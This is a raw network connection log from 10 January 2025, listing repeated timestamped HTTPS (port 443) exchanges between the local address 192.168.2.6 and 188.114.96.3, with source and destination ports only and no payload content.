Jan 10, 2025 15:13:55.355421066 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.355911016 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.355916977 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.357299089 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.357305050 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.783790112 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.783860922 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.783927917 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.784056902 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.784068108 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.784077883 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.784117937 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.898559093 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.898612976 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.898957014 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.899149895 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:55.899167061 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.371773005 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.371913910 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.372422934 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.372432947 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.373671055 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.373677969 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.786108971 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.786184072 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.786238909 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.786238909 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.786345959 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.786345959 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.786365986 CET	443	50009	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.786429882 CET	50009	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.914484978 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.914593935 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:56.914750099 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.915071964 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:56.915103912 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.370120049 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.371728897 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.399461031 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.399503946 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.408245087 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.408298016 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.779397011 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.779473066 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.779516935 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.779516935 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.779664993 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.779710054 CET	443	50015	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.779746056 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.779795885 CET	50015	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.914239883 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.914294958 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:57.914418936 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.914732933 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:57.914747953 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.370645046 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.371143103 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.371675014 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.371686935 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.373001099 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.373008966 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.758956909 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.759023905 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.759059906 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.759088993 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.759234905 CET	50021	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.759257078 CET	443	50021	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.883157969 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.883214951 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:58.883302927 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.883573055 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:58.883589029 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.357942104 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.358023882 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.358520031 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.358530045 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.359843016 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.359848976 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.783096075 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.783170938 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.783184052 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.783216953 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.783334017 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.783355951 CET	443	50026	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.783368111 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.783399105 CET	50026	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.898849010 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.898895979 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:59.899025917 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.899295092 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:59.899308920 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.377787113 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.377903938 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.378326893 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.378345966 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.379646063 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.379652023 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.790154934 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.790214062 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.790407896 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.790630102 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.790630102 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.790647030 CET	443	50027	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.790694952 CET	50027	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.914354086 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.914398909 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:00.914545059 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.914908886 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:00.914931059 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.383924961 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.384336948 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.384838104 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.384849072 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.386169910 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.386176109 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.812125921 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.812189102 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.812263012 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.812304974 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.812429905 CET	50028	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.812446117 CET	443	50028	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.961591959 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.961643934 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:01.961711884 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.961982012 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:01.961994886 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.425793886 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.425885916 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.447945118 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.447957993 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.456374884 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.456383944 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.840543985 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.840610027 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.840610981 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.840663910 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.840785027 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.840806007 CET	443	50030	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.840827942 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.840873957 CET	50030	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.961102009 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.961169004 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:02.961246014 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.961608887 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:02.961630106 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.418185949 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.418395042 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.418900967 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.418914080 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.420139074 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.420149088 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.833638906 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.833712101 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.833887100 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.834048986 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.834069967 CET	443	50031	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.834086895 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.834125042 CET	50031	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.961534023 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.961590052 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:03.961834908 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.963329077 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:03.963342905 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.438741922 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.438864946 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.439435005 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.439455032 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.440723896 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.440742016 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.853388071 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.853447914 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.853667021 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.853667021 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.853806019 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.853806019 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.853822947 CET	443	50032	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.854373932 CET	50032	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.976998091 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.977019072 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:04.977145910 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.977365017 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:04.977376938 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.437781096 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.437993050 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.438462973 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.438472986 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.439831972 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.439837933 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.869642973 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.869710922 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.869715929 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.869776011 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.869909048 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.869932890 CET	443	50033	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:05.869949102 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:05.869975090 CET	50033	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.034430981 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.034476995 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.034734011 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.034825087 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.034832954 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.516942978 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.517256975 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.517565012 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.517574072 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.518896103 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.518909931 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.919159889 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.919226885 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.919302940 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.919332027 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.919481993 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.919481993 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:06.919502974 CET	443	50034	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:06.919631004 CET	50034	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.023809910 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.023853064 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.023926973 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.024302959 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.024317026 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.495068073 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.495215893 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.495728970 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.495743990 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.496954918 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.496965885 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.890683889 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.890749931 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.890784025 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.890805960 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.890971899 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.890984058 CET	443	50036	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:07.891011000 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:07.891033888 CET	50036	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.008172989 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.008219957 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.008332968 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.008569956 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.008586884 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.463689089 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.463813066 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.464337111 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.464342117 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.465600967 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.465605974 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.907229900 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.907301903 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.907382011 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.907413960 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.923165083 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.923192024 CET	443	50037	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:08.923202991 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:08.923280954 CET	50037	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.181814909 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.181853056 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:09.181920052 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.185866117 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.185883045 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:09.669030905 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:09.669200897 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.669668913 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.669675112 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:09.671046019 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:09.671051025 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.100387096 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.100455046 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.100512981 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.100533962 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.100671053 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.100687027 CET	443	50038	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.100694895 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.100727081 CET	50038	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.226607084 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.226653099 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.226749897 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.227044106 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.227061033 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.688694954 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.688853025 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.689476013 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.689483881 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:10.690783024 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:10.690788984 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.083431005 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.083585978 CET	443	50039	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.083607912 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.083801031 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.083801031 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.083801031 CET	50039	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.195938110 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.196000099 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.196084023 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.196304083 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.196320057 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.653341055 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.653455973 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.659749031 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.659770966 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:11.660924911 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:11.660931110 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.068653107 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.068713903 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.068726063 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.068763971 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.068907976 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.068927050 CET	443	50040	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.068955898 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.068967104 CET	50040	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.198091984 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.198128939 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.198204994 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.198491096 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.198503971 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.683212042 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.683319092 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.683773994 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.683783054 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:12.684981108 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:12.684984922 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.103269100 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.103348017 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.103364944 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.103377104 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.103432894 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.103518963 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.103533983 CET	443	50041	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.103545904 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.103574991 CET	50041	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.227353096 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.227399111 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.227498055 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.227778912 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.227792978 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.707806110 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.707885027 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.708451986 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.708460093 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:13.709917068 CET	50042	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:14:13.709920883 CET	443	50042	188.114.96.3	192.168.2.6
Jan 10, 2025 15:14:14.147347927 CET	443	50042	188.114.96.3	192.168.2.6
